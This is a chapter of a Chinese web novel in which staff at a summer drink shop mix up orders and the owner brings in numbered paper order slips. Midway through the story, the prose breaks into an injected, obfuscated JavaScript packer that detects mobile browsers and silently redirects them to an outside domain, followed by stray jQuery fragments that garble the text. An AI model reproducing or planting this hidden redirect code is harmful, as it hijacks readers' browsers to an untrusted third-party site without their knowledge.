“这是谁的饮子？”
张五娘端着一碗薄荷青梅饮，从后院帘子后探出身来。她喊了一声，前头没有人应，便又低头看了一眼手里的碗。
青白小盏里浮着几片薄荷叶，冰块刚化了一半，碗壁上凝着细细的水珠。
前铺四张桌都坐着人。五娘站在帘边看了半晌，只觉得几张桌上的人影都混在了一处。
“何顺。”她朝外喊了一声。
何顺正从两张桌子间退出来，肩上搭着汗巾，手里还托着两只刚收回来的空碗。听见五娘叫他，便快步走到帘边：“五娘，怎么了？”
张五娘把饮子递过去：“你记得这是谁点的吗？”
何顺接过碗，先朝靠门那桌看了一眼。
两个脚夫正埋头分吃一碟米糕，桌上放着三只空碗，其中一只碗底还剩几片甘草。
靠窗那边坐了两桌人，一桌是绣坊的娘子，另一桌坐着个卖针线的妇人，几个人各自说着话，看不出谁在等饮子。
何顺端着碗往前走了两步，又停下来，回头道：“我记得有人添了一碗梅饮。”
“我也记得。”张五娘跟在帘边看着他，“可究竟是谁？”
何顺被问住了，拿拇指蹭了蹭碗沿的水珠：“像是靠窗那桌。”
五娘摇摇头：“靠窗有两桌，你说清楚些。”
“那……”他又往前看了一回，终于老实道，“我没记住。”
张五娘原本还盼着他能想起来，听见这话，肩膀便垮了些：“你也没记住，我更想不起来了。”
她今日从开铺起便没有歇过。后院长案上摆着几只陶瓮，前铺一喊，她便舀饮子、添冰、取米糕，手里的木勺才放下，又要接何顺送回来的空盏。
方才明明有人隔着帘子说了一句“再添一碗梅饮”，她也应了，谁知转身去冰桶里取了两块碎冰，回来便只记得那句话，忘了是谁说的。
前头又有客人扬声道：“五娘，我们这桌再添两块米糕。”
另一桌也跟着问：“哎，小伙计，甘草水还有么？”
张五娘手里还端着那碗无主的饮子，只得先放回案上，转身去取米糕。她刚揭开盖布，何顺又从外头探进来：“靠门那桌要一碗甘草水，加冰。”
“你先别同我说。”张五娘拿手背擦了一下额头，“等我把这两块米糕装好。”
何顺应了一声，站在旁边替她把小碟递过去。
张五娘装好米糕，又去舀甘草水。等冰块落进碗里，她忽然又想起方才那碗梅饮，转头一看，碗还放在案角。
“这可怎么办？”她低声念了一句。
何春酿才跨进后门，便看见长案上摆了几碗未送的饮子，张五娘一手拿勺，一手扶着冰桶，何顺端着托盘站在一旁，两个人脸上都是一副想说又说不清的模样。
“怎么都堵在这里？”
张五娘放下木勺，把那碗薄荷青梅饮往前推了推：“这一碗找不到人了。”
何春酿看了一眼：“没人要？”
“有人要。”何顺忙道，“就是不记得哪桌。”
何春酿没有说他们，先把空陶壶搁到架上，端起那碗饮子走到前铺。她问了靠门那桌，又问过窗边的几位客人，最后才在靠墙的长桌边找到主人。
那位老客接过碗，笑着道：“我方才见你们忙，只随口说了一声，原想着迟些也无妨。”
何春酿替他把碗放好：“叫您久等了。”
“等一碗饮子算什么事？”老客拿起小勺搅了搅碗里的冰，“你们这几日生意越发好了，忙中有错也不稀奇。”
旁边的人听见，便跟着笑道：“从前进门连转身的地方都没有，如今桌子添了，人也添了，哪能还照从前那样记。”
何春酿也笑了笑，回身时却把这句话听进了心里。
后院里，五娘低头洗着碗，手指在水里泡得有些发白。听见何春酿回来，她便小声问：“春酿姐，方才那碗是谁的？”
“靠墙长桌那位老客。”何春酿走过去，替她把洗净的碗一只只扣到竹架上，“客人多，一时没记住很正常。”
“我竟一点也没想起来。”张五娘越想越觉得难为情，“今日已经不止这一回。上午二桌添了一块米糕，我也忘了，还是客人问起来才补送。”
何顺正在擦托盘，闻言便道：“掌柜的，也有我的错。前头一连喊几桌，我只顾着端，走出去便记混了。我在福盛楼跑堂时，厨房有牌子，端什么、送哪里都写得明白。咱们这里全靠嘴说，我今日听了三句，走到门口便只剩一句半。”
五娘甩了甩手上的水珠：“你既早知道福盛楼有牌子，怎么不早说？”
“我才来几日，哪里好什么都照福盛楼的规矩搬过来。”
五娘还想说他，何春酿已把一摞干净碗放回架上：“先把眼前的活做完，客人还没散呢。”
两个人这才各自忙去。
午后的暑气压在院墙上，连帘子都被晒得发热。
何春酿在前铺与后院之间来回走了几趟，渐渐看出了症结。周砚平收钱时记得清楚，张五娘分装时也没有偷懒，何顺送盏更是一步不敢耽误，可话从案桌传到后院，再从后院送到桌前，中间只要多插进一桌客人，先前那一句便容易被挤到脑后。
这日收铺比往常迟了半个时辰。
最后一桌客人走后，何顺把门板合上，靠在门边长出了一口气。张五娘端着木盆去后院洗碗，水一倒进去，几只茶盏碰在一处，发出一阵清脆声响。
晚饭吃得简单，只有一碗辣椒炒肉、一盘蘑菇炒青菜，另将中午剩下的几块米糕热了热。几个人忙了一日，都饿得厉害，起初只顾低头吃饭，谁也没有多说。
张五娘吃到一半，筷子在碗沿停了一下：“春酿姐，今日那碗梅饮叫客人等了半日，都是我没记清。”
“饮子最后也送到了，人家没有怪你。”何春酿给她夹了一筷子青菜，“吃饭的时候还想着这些做什么？”
张五娘低头扒了两口饭，到底还有些过意不去：“今日是客人好说话。若换了个急性子的，只怕早恼了。”
周砚平坐在一旁剥鸡蛋，听到这里，把剥好的鸡蛋放进何春酿碗里，才道：“五娘说得也有道理。今日钱数虽然对得上，几笔添的饮子却记得含糊。往后再多两桌，只怕问都问不清。”
何春酿看了他一眼：“你已经对过账了？”
“方才先看了一遍。”周砚平拿帕子擦净手指，“钱没有少，只是有些添单只记了数，没记是哪桌。”
张五娘听见，筷子又慢了下来：“那还是我没记好。”
周砚平摇头：“换作谁站在后头，一时听三四桌说话，也未必记得住。”
何顺咽下嘴里的饭，想起白日里端着饮子找桌的窘样，也有些讪讪：“福盛楼厨房出菜都有牌子，写着桌号和菜名，跑堂的只管照着送，倒不会端着一盘东西到处问人。”
周砚平听了，放下手里的鸡蛋：“福盛楼客人吃完才一并结账，厨房的木牌还得同酒菜账对上。咱们这里先收钱，倒不用那么麻烦。收钱时顺手写清是哪桌、几碗饮子，送到后头便够了。”
何春酿听到这里，拿筷子拨了拨碗里的鸡蛋：“何记没有几十道菜，也犯不着做木牌。欸，账桌旁还有裁剩的纸边么？”
周砚平一下便明白了她的意思，起身回前铺，从抽屉里取来一叠窄纸。
纸条原是裁账册时剩下的边角，长短不一，写几个字绰绰有余。他坐回桌边，提笔蘸墨，在纸上写了一个“二”，下面又写“甘二、冰一”。
张五娘放下碗，凑过去看了一会儿：“二桌，两碗甘草水，其中一碗加冰？”
“正是。”周砚平把纸条递给她，“前头收过钱，便写一张。你照上面的字装，何顺拿着送，也不必各自记一遍。”
何顺接过去，用手指比了比那几个字：“桌号写在最上头，再大些，我端着托盘也看得见。”
“用红笔写。”何春酿道，“红字显眼，下面的饮子和数目仍用墨。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781674|205212||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
她说着起身去了前铺，几个人也跟着过去，看她站在几张桌子中间，从靠门的那张看起。
“这一桌进出最快，便叫一桌。窗边两张依次是二桌、三桌，靠墙长桌是四桌。”何春酿说完，又沿着过道走了一遍，“桌子不动，号也不换，免得今日一个叫法，明日又换了。”
张五娘扶着窗边桌角，顺着她的话念了一遍：“一、二、三、四。倒也好记。”
何春酿抱臂道：“明日先试一日，好不好用还不知道。”
第二日开铺前，周砚平裁了五十张窄纸，分作四摞，最上头都用红笔写好桌号。
第一拨客人进门时，几个人多少都有些留心。
靠窗二桌坐了两个绣坊娘子，要两碗木莲冻，一碗加冰，再添两块米糕。周砚平收过钱，从红色“二”字那摞抽出一张，低头写好，从帘边递了进去。
张五娘接过来，先看红字，又看下面的几行。她把两只碗摆在案上，其中一碗添冰，米糕另装一碟，再把纸条压在托盘边。
何顺端起托盘，按着纸条送到二桌。回来时把纸条交给周砚平，才去收旁桌的空盏。
午前又忙过几桌，纸条渐渐在案桌与后院之间走顺了。只有何顺有一回送完饮子，把纸条落在客人桌角，回来才想起，又转身去取。
张五娘也顺手把长案重新理了一遍。
案面只留待送的饮子与米糕，洗净的茶盏放在架上，客人用过的碗一律进长案下的木盆。如此一来，手边宽敞许多，她盛饮子时也不用避着一摞空碗。
这一日收铺，对账果然比前日省事。
周砚平把送回来的小单逐张摊开，与流水一一核过。
何顺原本已经走到后门，想起上午那张落在桌角的单子，又折回来问：“周账房，今日少不少？”
“一张不少。”周砚平把最后一张压好，“钱也合得上。”
何顺这才放心，提着空桶去了新院。
此后几日，案桌开单渐渐成了何记的惯例。
七月初十午后，裴敬穿了件浅青色夏衫进门，在柜前站了一会儿，抬头看挂着的价牌。
牌上仍是甘草水、薄荷青梅饮、木莲冻与绿豆米糕，都是这些日子卖得最稳妥的东西。
何春酿站在柜台后，见他迟迟没有落座，便问：“裴掌柜今日想喝什么？”
裴敬将价牌从头看到尾，才转过脸：“何掌柜，蔷薇香饮没有了？”
“花酱早已用完。”何春酿把手里的空托盘放到柜后，“这几日忙着新院和前铺，也没顾得上再寻花料。”
裴敬听了，脸上露出一点可惜，倒也没多说什么，只要了一碗薄荷青梅饮。
周砚平收过钱，从红字“三”的纸条里抽出一张，写下“梅一”，递进帘后。
裴敬拿着扇子坐到窗边，等饮子送来，低头喝了几口。
薄荷青梅饮做得仍旧合宜，青梅的酸味压得住暑气，薄荷也不冲鼻。他喝得比往常快些，碗见了底，才抬头问何春酿：“那蔷薇香饮往后还做么？”
何春酿正在整理柜上的铜钱，闻言看了他一眼：“裴掌柜倒真惦记上了。”
“那一味香气少见。”裴敬用扇柄碰了碰碗沿，“寻常饮子解渴便好，喝完也就忘了。那一盏我回去以后，过了几日还能记起。”
“不过薄荷青梅饮也很好。”裴敬站起身，将空碗往桌中推了推，“只是若下回再有新的香饮，烦请何掌柜替我留一盏。”
何春酿站在柜后，想起这几日也有两三个熟客问过蔷薇香饮，便点头道：“如果下回做了，我叫五娘去香铺知会一声。”
裴敬应下，拎起放在脚边的香料包出了门。
晚上收铺，周砚平把七月初五至初十的流水合在一处，算盘拨过两遍，见数目无误，才提笔记下。
-
簿上记：
七月初五至七月初十，铺中余利三两一钱四十八文。
前存九两七钱，钱匣现存十二两八钱四十八文。